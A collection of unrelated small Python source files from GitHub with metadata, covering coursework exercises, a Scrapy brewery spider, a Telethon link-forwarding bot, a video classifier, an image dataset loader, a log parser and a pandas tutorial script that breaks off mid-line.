{"seq_id":"73920580840","text":"def average(*nums: int | float) -> float:\n    sum = 0\n    for n in nums:\n        sum += n\n    return sum / len(nums)\n\ntext = input(\"enter three numbers, separated by spaces: \\n> \")\nnums = [float(i) for i in text.replace(\",\", \"\").split()]\nprint(average(*nums))\n\n######\n\ndef PythagoreanCheck(a: int, b: int, hypot: int) -> bool:\n    return a**2 + b**2 == hypot**2\n\ntext = input(\"enter two sides and the hypotenuse, separated by spaces: \\n> \")\nnums = [int(i) for i in text.replace(\",\", \"\").split()]\nif len(nums) != 3:\n    raise ValueError(\"the number of arguements was not 3\")\nprint(PythagoreanCheck(nums[0], nums[1], nums[2]))\n\n######\n\n# I already did the object stuff in week 1","repo_name":"752986/Daily-Code","sub_path":"1st semseter/check for understanding (16th sep).py","file_name":"check for understanding (16th sep).py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29462424333","text":"from datetime import datetime, timedelta, timezone\n\n\ndef week():\n    end = datetime.now(tz=timezone(offset=-timedelta(hours=4)))\n    start = end - timedelta(hours=168)\n    return start, end\n\n\ndef month():\n    end = datetime.now(tz=timezone(offset=-timedelta(hours=4)))\n    start = end - timedelta(hours=730)\n    return start, end\n\n\ndef to_datetime(*items):\n    if len(items) == 1:\n        return datetime.strptime(items[0], r\"%d-%m-%Y\")\n    else:\n        return [datetime.strptime(item, r\"%d-%m-%Y\") for item in items]\n    \nTIMEFRAMES = {'week': week, 'month': month}\n","repo_name":"zeffo/pdxfda","sub_path":"utils/timeframes.py","file_name":"timeframes.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"71098357481","text":"from datetime import datetime\n\nfrom loguru import logger\nfrom scrapy import Request, Spider\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import CrawlSpider, Rule\n\n\nclass CraftbeerShopBrewerySpider(CrawlSpider):\n    \"\"\"\n    Craftbeer Shop Spider Class\n    \"\"\"\n\n    name = \"craftbeer_shop_breweries\"\n    allowed_domains = [\"craftbeer-shop.com\"]\n    main_url = \"https://www.craftbeer-shop.com/\"\n    start_urls = [\"https://www.craftbeer-shop.com/\"]\n    datestamp = datetime.now().strftime(\"%Y%m%d\")\n    timestamp = datetime.now().strftime(\"%Y-%m-%dT%H-%M-%S\")\n\n    rules = (\n        Rule(\n            LinkExtractor(allow=(\"Brauereien/\", \"brauereien/\")),\n            callback=\"parse\",\n            follow=True,\n        ),\n    )\n\n    def parse(self, response, **kwargs):\n        logger.info(f\"Crawling {response.url}...\")\n\n        breweries = response.xpath(\"//div[contains(@class, 'subcategory-card')]\")\n        num_breweries = len(breweries)\n        logger.info(\n            f\"Found {num_breweries} breweries on page {response.url}, starting to crawl...\"\n        )\n        success_counter = 0\n\n        for brewery in breweries:\n            name = brewery.css(\"a.subcategory-card__title::text\").get()\n            country = response.url.split(\"/\")[-1]\n\n            icon_url = brewery.xpath(\n                \".//div[contains(@class, 'subcategory-card__image')]//img/@data-src\"\n            ).get()\n            scraped_from_url = response.url\n            logger.info(name, country, icon_url, scraped_from_url)\n\n            yield {\n                \"name\": name,\n                \"country\": country,\n                \"icon_url\": icon_url,\n                \"scraped_from_url\": scraped_from_url,\n            }\n            success_counter += 1\n","repo_name":"TomJansen25/beer-scraper","sub_path":"beerspider/spiders/breweries/craftbeershop.py","file_name":"craftbeershop.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3299021731","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 17 16:00:29 2019\n\n@author: rafaelolaechea\n\n\nStart Learning Command.\n\n                        InfluenceModel infMod = new InfluenceModel(GlobalState.varModel, GlobalState.currentNFP);\n\n                        List<Configuration> configurations_Learning = new List<Configuration>();\n\n                        List<Configuration> configurations_Validation = new List<Configuration>();\n                        \n                        ....\n                        \n                           //List<List<BinaryOption>> availableBinary \n                            configurations_Learning = GlobalState.getAvailableBinary(exp.BinarySelections_Learning, exp.NumericSelection_Learning);\n                            //configurations_Learning = GlobalState.getMeasuredConfigs(Configuration.getConfigurations(availableBinary, exp.NumericSelection_Learning));\n                            configurations_Learning = configurations_Learning.Distinct().ToList();\n\n                            configurations_Validation = GlobalState.getMeasuredConfigs(Configuration.getConfigurations(exp.BinarySelections_Validation, exp.NumericSelection_Validation));\n                            configurations_Validation = configurations_Validation.Distinct().ToList();\n\n                        ...\n                    \n                        exp.learning = new FeatureSubsetSelection(infMod, exp.mlSettings);\n                        exp.learning.setLearningSet(configurations_Learning);\n                        exp.learning.setValidationSet(configurations_Validation);\n                        exp.learning.learn();\n\n\n\naddConfiguration\n\nConfiguration config\n\n        /// <summary>\n        /// Adds a configration to the global state. \n        /// </summary>\n        /// <param name=\"config\">An configuration of the variability model.</param>\n        public static void addConfiguration(Configuration config)\n        {\n            GlobalState.allMeasurements.add(config);\n        }\n        \nResult Database\n\n    public class ResultDB\n    {\n\n        private List<Configuration> configurations = new List<Configuration>();\n\n        public List<Configuration> Configurations\n        {\n            get { return configurations; }\n            set { configurations = value; }\n        }\n\n\n        public void add(Configuration configuration)\n        {\n            this.configurations.Add(configuration);\n        }\n\n        \n\n\"\"\"\nimport MLSettings\nimport VariabilityModel\nimport BinaryOption\n\nimport FeatureWrapper\n\ndef createX264VM():\n    \"\"\"\n    Creatre variability model for X264\n    \"\"\"\n    return None\n\nif __name__ == \"__main__\":\n    \n    tmpDefaultMLSettings = MLSettings.MLSettings()    \n    \n    varMod =  VariabilityModel.VariabilityModel(\"testModel_1\")    \n\n    # Only has root.    \n    print (\"Created a tmpDefaultMLSettings and a varMod with a feature of name {0}. In Total has {1} objects \".format(\\\n           varMod.getRoot().name, len(varMod.getBinaryOptions())))    \n    \n    binOp1 =  BinaryOption.BinaryOption(varMod, \"binOpt1\")\n    \n    binOp1.optional = True\n    \n    binOp1.Parent = varMod.getRoot()\n    \n    varMod.addConfigurationOption(binOp1)\n   \n\n    # Only has root and binary option 1.\n    print (\"Created a tmpDefaultMLSettings and a varMod with a feature of name {0}. In Total has {1} objects \".format(\\\n           varMod.getRoot().name, len(varMod.getBinaryOptions())))\n    \n    binOp2 =  BinaryOption.BinaryOption(varMod, \"binOp2\")\n    \n    binOp2.optional = True\n    \n    binOp2.Parent = binOp1\n    \n    varMod.addConfigurationOption(binOp2)\n    \n    print (\"Created a tmpDefaultMLSettings and a varMod with a feature of name {0}. In Total has {1} objects \".format(\\\n           varMod.getRoot().name, len(varMod.getBinaryOptions())))    \n    \n    newFeature = FeatureWrapper.FeatureWrapper(\"binOpt1\", varMod)\n    \n    tmpDct = {}\n    \n    tmpDct[newFeature] = 10\n    newDuplicateFeature = FeatureWrapper.FeatureWrapper(\"binOpt1\", varMod)\n\n    UnDuplicateFeature = FeatureWrapper.FeatureWrapper(\"binOp2*binOpt1\", varMod)    \n    \n    print(newFeature == newDuplicateFeature)\n    print(newFeature == UnDuplicateFeature)\n    \n    print(\"expressionArray newFeature  == \" +str(newFeature.expressionArray))\n\n    print(\"expressionArray UnDuplicateFeature binOp2*binOpt1 ::  == \" +str(UnDuplicateFeature.expressionArray))\n    \n    UnDuplicateDuplicateFeature = FeatureWrapper.FeatureWrapper(\"binOpt1 * binOp2\", varMod)\n    \n    print(UnDuplicateDuplicateFeature == UnDuplicateFeature)\n    \n    print( \"Before Modified dct  {0}\".format(str(tmpDct)))\n    \n    print( \"NewFeature Duplicate in dct keys {0}\".format(newDuplicateFeature in tmpDct.keys()))\n    \n    tmpDct[newDuplicateFeature] = 20\n    \n    print( \"Modified dct  {0}\".format(str(tmpDct)))\n    ","repo_name":"rolaechea/ml-traces-analysis","sub_path":"FSELearning/TestRunSimpleVM.py","file_name":"TestRunSimpleVM.py","file_ext":"py","file_size_in_byte":4808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74668085801","text":"import os\nimport pickle\n\nimport numpy as np\nimport torch\nfrom tqdm import tqdm\nfrom torch.utils import data\n\nfrom Models import CNNEncoder, RNNDecoder\nfrom sklearn.preprocessing import LabelEncoder\nimport torchvision.transforms as transforms\n\nfrom Models.DataSetLoader import DataSetLoader\n\n\nclass CRNN():\n\n    def __init__(self):\n        # use same encoder CNN saved!\n        self.CNN_fc_hidden1, self.CNN_fc_hidden2 = 1024, 768\n        self.CNN_embed_dim = 512  # latent dim extracted by 2D CNN\n        self.res_size = 224  # ResNet image size\n        self.dropout_p = 0.0  # dropout probability\n\n        self.RNN_hidden_layers = 3\n        self.RNN_hidden_nodes = 512\n        self.RNN_FC_dim = 256\n\n        self.k = 101  # number of target category\n        self.batch_size = 40\n        self.begin_frame, self.end_frame, self.skip_frame = 1, 29, 1\n\n        self.label_encoder = LabelEncoder()\n        self.action_category = []\n\n        use_cuda = torch.cuda.is_available()  # check if GPU exists\n        device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n        self.encoder = CNNEncoder.CNNEncoder(self.CNN_fc_hidden1, self.CNN_fc_hidden2, self.dropout_p,\n                                             self.CNN_embed_dim).to(device)\n\n        self.decoder = RNNDecoder.RNNDecoder(self.CNN_embed_dim, self.RNN_hidden_layers, self.RNN_hidden_nodes,\n                                             self.RNN_FC_dim, self.dropout_p, self.k).to(device)\n\n    def load(self):\n        project_path = os.getcwd()\n        save_model_path = project_path + '/cached'\n        self.encoder.load_state_dict(\n            torch.load(os.path.join(save_model_path, 'cnn_encoder_epoch63_singleGPU.pth'), map_location='cpu'))\n        self.decoder.load_state_dict(\n            torch.load(os.path.join(save_model_path, 'rnn_decoder_epoch63_singleGPU.pth'), map_location='cpu'))\n\n        with open(save_model_path + '/UCF101actions.pkl', 'rb') as f:\n            action_names = pickle.load(f)  # load UCF101 actions names\n\n        # convert labels -> category\n        self.label_encoder.fit(action_names)\n        self.action_category = self.label_encoder.transform(action_names).reshape(-1, 1)\n\n    def run(self, path, x, y):\n        # data loading parameters\n        use_cuda = torch.cuda.is_available()  # check if GPU exists\n        device = torch.device(\"cuda\" if use_cuda else \"cpu\")  # use CPU or GPU\n        params = {'batch_size': self.batch_size, 'shuffle': True, 'num_workers': 4,\n                  'pin_memory': True} if use_cuda else {}\n\n        transform = transforms.Compose([transforms.Resize([self.res_size, self.res_size]),\n                                        transforms.ToTensor(),\n                                        transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])])\n\n        selected_frames = np.arange(self.begin_frame, self.end_frame, self.skip_frame).tolist()\n\n        # reset data loader\n        all_data_params = {'batch_size': self.batch_size, 'shuffle': False, 'num_workers': 4,\n                           'pin_memory': True} if use_cuda else {}\n\n        y = self.label_encoder.transform(y)\n\n        data_loader = data.DataLoader(\n            DataSetLoader(path, x, y, selected_frames, transform=transform), **all_data_params)\n\n        self.encoder.eval()\n        self.decoder.eval()\n\n        all_y_pred = []\n        with torch.no_grad():\n            for batch_idx, (X, y) in enumerate(tqdm(data_loader)):\n                # distribute data to device\n                X = X.to(device)\n                output = self.decoder(self.encoder(X))\n                y_pred = output.max(1, keepdim=True)[1]  # location of max log-probability as prediction\n                all_y_pred.append(y_pred.cpu().data.squeeze().numpy().tolist())\n\n        return self.label_encoder.inverse_transform(all_y_pred)\n","repo_name":"emadabdalrahman/video_classification_sample","sub_path":"Models/CRNN.py","file_name":"CRNN.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10105708962","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('user_profile', '0001_initial'),\n        ('schedule', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='section',\n            name='student',\n            field=models.ForeignKey(default=None, to='user_profile.Student', related_name='student_sections'),\n            preserve_default=False,\n        ),\n        migrations.AlterUniqueTogether(\n            name='section',\n            unique_together=set([('student', 'course', 'day')]),\n        ),\n    ]\n","repo_name":"mek32390/mchp-dev","sub_path":"mchp/schedule/migrations/0002_section_student.py","file_name":"0002_section_student.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25935347514","text":"import os\nfrom telethon.sync import TelegramClient, events, types, functions\nimport logging\nfrom datetime import date, datetime, timezone\nimport asyncio\nfrom pathlib import Path\n\nlogging.basicConfig(filename=\"./logs.txt\", filemode='a',\n                    format='[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s',\n                    level=logging.WARNING)\n\nAPI_ID = os.environ[\"TG_API_ID\"]\nAPI_HASH = os.environ[\"TG_API_HASH\"]\nPARSE_CHAT_ID = int(os.environ[\"TG_PARSE_CHAT_ID\"])\nFORWARD_CHAT_ID = int(os.environ[\"TG_FORWARD_CHAT_ID\"])\nSESSION = \"SOPHIEPALEOLOG\"\nINTERVAL_IN_SEC = 10\nMESSAGE_MIN_LIVE_IN_SEC = 120\nLAST_MESSAGE_ID = 0\nGET_MESSAGE_CNT_LIMIT = 300\n\nclient = None\nforward_chat = None\nlast_msg_file = Path(\"./lastmsg.txt\")\n\n# forward message if contains url\nasync def forward_message(message):\n    for ent, _ in message.get_entities_text():\n        if isinstance(ent, types.MessageEntityUrl) or isinstance(ent, types.MessageEntityTextUrl):\n            try:\n                await message.forward_to(forward_chat)\n            except Exception as e:\n                logging.error(e)\n                logging.warning(message)\n            finally:\n                return\n\n# gets now and date timedelta in seconds\ndef last_from_date_in_secs(date):\n    return (datetime.now(timezone.utc) - date).seconds\n\ndef save_last_messsage_id():\n    last_msg_file.write_text(str(LAST_MESSAGE_ID))\n\ndef get_last_message_id():\n    global LAST_MESSAGE_ID\n    if not last_msg_file.is_file():\n        save_last_messsage_id()\n\n    LAST_MESSAGE_ID = int(last_msg_file.read_text())\n\n# check for new messages and if it lasts > MESSAGE_MIN_LIVE_IN_SEC and id > LAST_MESSAGE_ID\nasync def forward_new_messages():\n    global LAST_MESSAGE_ID, client\n    client = TelegramClient(SESSION, API_ID, API_HASH)\n    await client.start()\n    messages = [m async for m in client.iter_messages(PARSE_CHAT_ID, limit=GET_MESSAGE_CNT_LIMIT)\n    if m.id > LAST_MESSAGE_ID and last_from_date_in_secs(m.date) > MESSAGE_MIN_LIVE_IN_SEC]\n    for message in reversed(messages):\n        await forward_message(message)\n\n    if len(messages) > 0:\n        LAST_MESSAGE_ID = messages[0].id\n    save_last_messsage_id()\n\n    await client.disconnect()\n\n# # update client and start because it somehow stops working\n# async def update_client():\n#     global last_client_update_time\n#     if last_from_date_in_secs(last_client_update_time) < CLIENT_UPDATE_INTERVAL_IN_SEC:\n#         return\n#     if client.is_connected():\n#         await client.start()\n#     last_client_update_time = datetime.now(timezone.utc)\n\nasync def main():\n    global forward_chat, client, last_msg_file\n    get_last_message_id()\n    client = TelegramClient(SESSION, API_ID, API_HASH)\n    await client.start()\n    forward_chat = await client.get_entity(FORWARD_CHAT_ID)\n    await client.disconnect()\n\n    while True:\n        await asyncio.gather(\n            asyncio.sleep(INTERVAL_IN_SEC),\n            forward_new_messages()\n        )\n\nif __name__ == '__main__':\n    asyncio.run(main())","repo_name":"mixbytes/link-forwarder-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74062345961","text":"import cv2\nimport time\nimport os\nimport handDetector as hd\nimport facerecognition\n\n\nclass GestureDetector():\n    def __init__(self):\n        self.wCam, self.hCam = 640, 480\n        self.cap = cv2.VideoCapture(0)\n        self.pTime = 0\n        self.detector = hd.handDetector(detectionCon=0.75)\n        self.tipIds = [4, 8, 12, 16, 20]\n        self.message = ''\n\n        \n\n\n    def gestureDetection(self):\n        \n        while True:\n            self.facerecognition = facerecognition.FaceRecognition(self.cap)\n            self.img = self.facerecognition\n            #self.img = cv2.flip(self.img,1)\n            self.img = self.detector.findHands(self.img)\n            lmList = self.detector.findPosition(self.img, draw=False)\n            # print(lmList)\n\n            if len(lmList) != 0:\n                self.fingers = []\n\n                # Thumb\n                if lmList[self.tipIds[0]][1] > lmList[self.tipIds[0] - 1][1]:\n                    self.fingers.append(1)\n                else:\n                    self.fingers.append(0)\n\n                # 4 Fingers\n                for id in range(1, 5):\n                    if lmList[self.tipIds[id]][2] < lmList[self.tipIds[id] - 2][2]:\n                        self.fingers.append(1)\n                    else:\n                        self.fingers.append(0)\n\n                \n                totalFingers = self.fingers.count(1)\n                #print(totalFingers)\n\n                if self.fingers == [0,1,0,0,1] or self.fingers == [1,1,0,0,0] or self.fingers == [0,1,1,0,0] or self.fingers == [1,1,0,0,1] or self.fingers == [0,0,0,0,1]:\n                    self.message = 'HELP!!!'\n                else:\n                    self.message == \"IT'S OK!!\" \n        \n                #h, w, c = overlayList[totalFingers - 1].shape\n                #img[0:h, 0:w] = overlayList[totalFingers - 1]\n\n                #cv2.rectangle(self.img, (20, 225), (170, 425), (0, 255, 0), cv2.FILLED)\n                #cv2.putText(self.img, str(totalFingers), (45, 375), cv2.FONT_HERSHEY_PLAIN,\n                #            10, (255, 0, 0), 25)\n\n            cTime = time.time()\n            fps = 1 / (cTime - self.pTime)\n            pTime = cTime\n\n            \n            #cv2.imshow('Image', self.img)\n            cv2.waitKey(1)\n            return self.message, self.img\n\n    def gestureMessage(self):\n        pass\n        \n        \n        ","repo_name":"willysjose2026/vision-computacional","sub_path":"GestureDetector.py","file_name":"GestureDetector.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73326950440","text":"from torch.utils import data\nimport os\nimport torchvision.transforms as transforms\nimport numpy as np\nimport cv2\n\n\nclass Dataset(data.Dataset):\n\n    def __init__(self, path,folder_list):\n        self.path = path\n        self.images_folder = folder_list   #图片文件夹，每个小文件夹是一个样本（包含五张）\n        self.size = 320\n\n    def __len__(self):\n        return len(self.images_folder)\n\n\n\n    def load_image(self,path):\n        # image = cv2.cvtColor(cv2.imread(path))\n        image=cv2.imread(path)\n        image = cv2.resize(image, (self.size, self.size))\n        # 图像归一化\n        transform_GY = transforms.ToTensor()#将PIL.Image转化为tensor，即归一化。\n        # 图像标准化\n        transform_BZ= transforms.Normalize(\n        mean=[0.5, 0.5, 0.5],# 取决于数据集\n        std=[0.5, 0.5, 0.5]\n        )\n        # transform_compose\n        transform_compose= transforms.Compose([\n        # 先归一化再标准化\n            transform_GY,\n            transform_BZ\n        ])\n        # (H, W, C)变为(C, H, W)\n        img_normalize = transform_compose(image)\n        img_normalize=img_normalize.numpy()\n        return img_normalize\n\n    def __getitem__(self, index):\n        images_path=os.path.join(self.path,self.images_folder[index])\n        images=os.listdir(images_path)\n        #找出target\n        target=None   #此时的target是路径\n        images_without_target=[]\n        for image in images:\n            if image.endswith('F.png'):\n                target=image\n            else:\n                images_without_target.append(image)\n        images=images_without_target\n\n        #加载图片为numpy数组\n        if target is not None:\n            target=self.load_image(os.path.join(images_path,target))\n        tmp=[]\n\n        for i in range(len(images)):\n            burst_i=self.load_image(os.path.join(images_path,images[i]))\n            tmp.append(burst_i)\n\n        burst=np.array(tmp) #转换成numpy格式\n\n        if target is None:\n            return burst, self.images_folder[index]\n        else:\n            #return两个，一个是x，另一个是label标签\n            return burst, target, self.images_folder[index]\n\n\n","repo_name":"CeoiZidung/Burst_Image_Deblurring","sub_path":"my_tools.py","file_name":"my_tools.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17952600285","text":"#!/usr/bin/env python\n'''\n:mod:`core.parser` is a module containing class for parsing log files.\n'''\n\nimport mmap\nimport os\nimport re\nimport traceback\nimport platform\nfrom types import ListType\n\nfrom module import ModuleController as mc\n\nclass Parser(object):\n    '''\n    Parser for benchmark outputs.\n        :param filename: Name of the log file\n        :type filename: str.\n        :param module: Current module used to parse file\n        :type module: object.\n    '''\n\n    def __init__(self, filename='', module=None):\n        if module is None:\n            raise Exception(\"Should choose a module to parse the log file.\")\n        self._info = {}\n        self._module = module\n        self.__filename = filename\n\n        return None\n\n    def load_file(self):\n        '''\n        Loads logfile.\n            :return: ``True`` if loading and parsing of file went fine, \\\n            ``False`` if it failed (at any point)\n        '''\n\n        # We first split file into pieces\n        searchunks = self._split_file()\n\n        if searchunks:\n\n            # And then we parse pieces into meaningful data\n            self._info = self._parse_file(searchunks)\n\n            return True\n\n        else:\n            return False\n\n    def get_info(self):\n        '''\n        Returns parsed info\n            :return: ``Dictionary``-style list of data\n        '''\n\n        file_parsed = self.load_file()\n        if file_parsed:\n            return self._info\n        else:\n            return False\n\n    def _split_file(self):\n        '''\n        Splits log file (in ASCII format) in order to accelerate processing speed.\n            :param data: Input data instead of file\n            :type data: str.\n            :return: ``List``-style of file sections\n        '''\n\n        # Filename passed checks through __init__\n        if self.__filename and os.access(self.__filename, os.R_OK):\n\n            fhandle = None\n\n            try:\n                fhandle = os.open(self.__filename, os.O_RDONLY)\n            except OSError:\n                raise Exception((\"Couldn't open file {}\".format(self.__filename)))\n\n            if fhandle:\n\n                datalength = 0\n\n                # Dealing with mmap difference on Windows and Linux\n                if platform.system() == 'Windows':\n                    dataprot = mmap.ACCESS_READ\n                else:\n                    dataprot = mmap.PROT_READ\n\n                try:\n                    if platform.system() == 'Windows':\n                        parmap = mmap.mmap(\n                            fhandle, length=datalength, access=dataprot\n                        )\n                    else:\n                        parmap = mmap.mmap(\n                            fhandle, length=datalength, prot=dataprot\n                        )\n                except (TypeError, IndexError):\n                    os.close(fhandle)\n                    traceback.print_exc()\n                    return False\n\n                # Here we'll store chunks of file, unparsed\n                searchunks = []\n                oldchunkpos = 0\n                dlpos = parmap.find(self._module.delimeter(), 0)\n                size = 0\n\n                # We can do mmap.size() only on read-only mmaps\n                size = parmap.size()\n\n                while dlpos > -1:  # mmap.find() returns -1 on failure.\n\n                    tempchunk = parmap.read(dlpos - oldchunkpos)\n                    searchunks.append(tempchunk.strip())\n\n                    # We remember position, add 2 for 2 DD's\n                    # (newspaces in production). We have to remember\n                    # relative value\n                    oldchunkpos += (dlpos - oldchunkpos) + 2\n\n                    # We position to new place, to be behind \\n\\n\n                    # we've looked for.\n                    try:\n                        parmap.seek(2, os.SEEK_CUR)\n                    except ValueError:\n                        print((\"Out of bounds ({})!\\n\".format(parmap.tell())))\n                    # Now we repeat find.\n                    dlpos = parmap.find(self._module.delimeter())\n\n                # If it wasn't the end of file, we want last piece of it\n                if oldchunkpos < size:\n                    tempchunk = parmap[(oldchunkpos):]\n                    searchunks.append(tempchunk.strip())\n\n                parmap.close()\n\n            if fhandle != -1:\n                os.close(fhandle)\n\n            if searchunks:\n                return searchunks\n            else:\n                return False\n\n        return False\n\n    def _parse_file(self, parts):\n        '''\n        Parses splitted file to get proper information from split parts.\n            :param sar_parts: Array of SAR file parts\n            :return: ``Dictionary``-style info (but still non-parsed) \\\n                from SAR file, split into sections we want to check\n        '''\n        pattern = None\n        # If parts is a list\n        if type(parts) is ListType:\n            pattern = self._module.pattern()\n\n            if pattern is None:\n                return False\n\n            results = []\n            for part in parts:\n                matches = pattern.finditer(part)\n                for matchNum, match in enumerate(matches):\n                    result = {key:match.group(pattern.groupindex[key]) for key in pattern.groupindex}\n                    results.append(result)\n            output = self.__split_info(results)\n            del(parts)\n\n            # Now we have parts pulled out and combined, do further\n            # processing.\n            # cpu_output = self.__split_info(cpu_usage, PART_CPU)\n\n        return output\n\n    def __find_column(self, column_names, part_first_line):\n        '''\n        Finds the column for the column_name in sar type definition,\n        and returns its index.\n            :param column_name: Names of the column we look for (regex) put in\n                the list\n            :param part_first_line: First line of the SAR part\n            :return: ``Dictionary`` of names => position, None for not present\n        '''\n        part_parts = part_first_line.split()\n\n        ### DEBUG\n        #print(\"Parts: %s\" % (part_parts))\n\n        return_dict = {}\n\n        counter = 0\n        for piece in part_parts:\n            for colname in column_names:\n                pattern_re = re.compile(colname)\n                if pattern_re.search(piece):\n                    return_dict[colname] = counter\n                    break\n            counter += 1\n\n        # Verify the content of the return dictionary, fill the blanks\n        # with -1s :-)\n        for colver in column_names:\n            try:\n                tempval = return_dict[colver]\n                del(tempval)\n            except KeyError:\n                return_dict[colver] = None\n\n        return(return_dict)\n\n    def __split_info(self, parts):\n        '''\n        Maps parts into logical stuff\n        :param parts: Parts to map into usable data\n        :return: ``List``-style info from files, now finally \\\n            completely parsed into meaningful data for further processing\n        '''\n        # Common assigner\n\n        return self._module.split_info(parts)\n","repo_name":"DwyaneShi/Logviz","sub_path":"core/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":7164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28508144314","text":"def leiadinheiro(_):\n    while True:\n        try:\n            valido = False\n            while not valido:\n                entrada = str(input(_)).replace(',', '.').strip().replace(' ', '')\n                if entrada.isalpha() or entrada == '':\n                    print(f'\\033[0;31m\"{entrada}\" é um valor inválido\\033[m')\n                else:\n                    valido = True\n                    return float(entrada)\n            break\n        except:\n            print(f'\\033[0;31mERRO! Não insira letras ao valor\\033[m')","repo_name":"TurSilv4/exercicioscursoemvideo","sub_path":"ex111/utilidadesCeV/dado/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"18914124641","text":"def equal_prime(n):\n    \"\"\"\n    `2005`年复试上机题\n    把一个数表示成若干个素数的和.\n    注， 此题不用这个方法。\n    \"\"\"\n\n    def judge_prime(n):\n        if n == 0 or n == 1: return False\n        if n == 2: return True\n        if n % 2 == 0: return False\n        # 判断\n        if 0 in [n % i for i in range(2, int(n ** 0.5 + 1))]:\n            return False\n        return True\n\n    def DFS(n, index=0, sum=0, primes=[], L=[], S=None):\n        if S is None:\n            S = set()\n        if (sum > n):\n            return\n        # sum==n 找到了这样的一组数字\n        if index < len(primes):\n            if sum == n:\n                if tuple(L) not in S:  # 避免重复输出\n                    print(L)\n                    S.add(tuple(L))\n            L.append(primes[index])\n            DFS(n, index, sum + primes[index], primes, L, S)\n            L.pop()\n            DFS(n, index + 1, sum, primes, L, S)\n\n    plist = [i for i in range(n + 1) if judge_prime(i)]\n    DFS(n, 0, 0, plist, S=set())\nequal_prime(9)\n","repo_name":"Sheldoer/Suda_examination_notes","sub_path":"复试笔记/历年真题Python代码/05/052.py","file_name":"052.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"18"}
{"seq_id":"73645513641","text":"class Solution(object):\n    def lengthOfLongestSubstring(self, strg):\n    \t\"\"\"\n    \t:type strg: str\n    \t:rtype: int\n    \t\"\"\"\n    \ttable = {}\n    \taccum = 0\n    \tcurrMax = 0\n    \tstart = 0\n    \tfor pos, i in enumerate(strg):\n    \t\tif i not in table:\n    \t\t\ttable[i] = pos\n    \t\t\taccum += 1\n    \t\telse:\n    \t\t\tcurrMax = max(currMax, accum)\n    \t\t\tif table[i] >= start:\n    \t\t\t\taccum = pos - table[i]\n    \t\t\t\tstart = table[i] + 1\n    \t\t\telse:\n    \t\t\t\taccum += 1\n    \t\t\ttable[i] = pos\n    \treturn max(currMax, accum)\n","repo_name":"ClaraBing/LeetCode","sub_path":"l003.py","file_name":"l003.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73429114601","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar  9 11:20:30 2019\n\n@author: danhi\n\"\"\"\n\n'''\nThis work was from a DataQuest tutorial on pandas concatenation\nhttps://www.dataquest.io/blog/pandas-concatenation-tutorial/\nEmphasis wasn't placed on organizing the work below before checking into git; just documenting.\n\nNotes from end of tutorial: \n    \npd.concat() function: the most multi-purpose and can be used to combine multiple DataFrames along either axis.\nDataFrame.append() method: a quick way to add rows to your DataFrame, but not applicable for adding columns.\npd.merge() function: great for joining two DataFrames together when we have one column (key) containing common values.\nDataFrame.join() method: a quicker way to join two DataFrames, but works only off index labels rather than columns.\n\nse axis=0 to apply a method down each column, or to the row labels (the index).\nUse axis=1 to apply a method across each row, or to the column labels.\n\n'''\n\n\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nna = pd.read_csv('./north_america_2000_2010.csv', index_col='Country')\nsa = pd.read_csv('./south_america_2000_2010.csv', index_col=0)\n\n#put the two dataframes together so we can view plot at once:\na = pd.concat([na,sa], axis=0, join='outer', ignore_index=False)\n\n# now let's pull in newer data from more recent years\nadf = [a]\n\nfor year in range(2011,2016):\n    filename = \"./americas_{}.csv\".format(year)\n    df = pd.read_csv(filename, index_col=0)\n    adf.append(df)\n\n# update americas dataframe to include most recent years\na = pd.concat(adf, axis=1, sort=False)\na.index.names = ['Country']\nprint(\"we have americas \\n\\n\",a)\n\n# plot the americas\n#a.transpose().plot(title=\"avg labor/year\")\n\n\n#  add in rest of world\n\nasia = pd.read_csv('./asia_2000_2015.csv', index_col=0)\n#print(asia)\n#asia.transpose().plot(title=\"asia labor/year\")\n#plt.show()\n\neurope = pd.read_csv('europe_2000_2015.csv', index_col='Country')\n#print(europe)\n#europe.transpose().plot()\n\nsp = 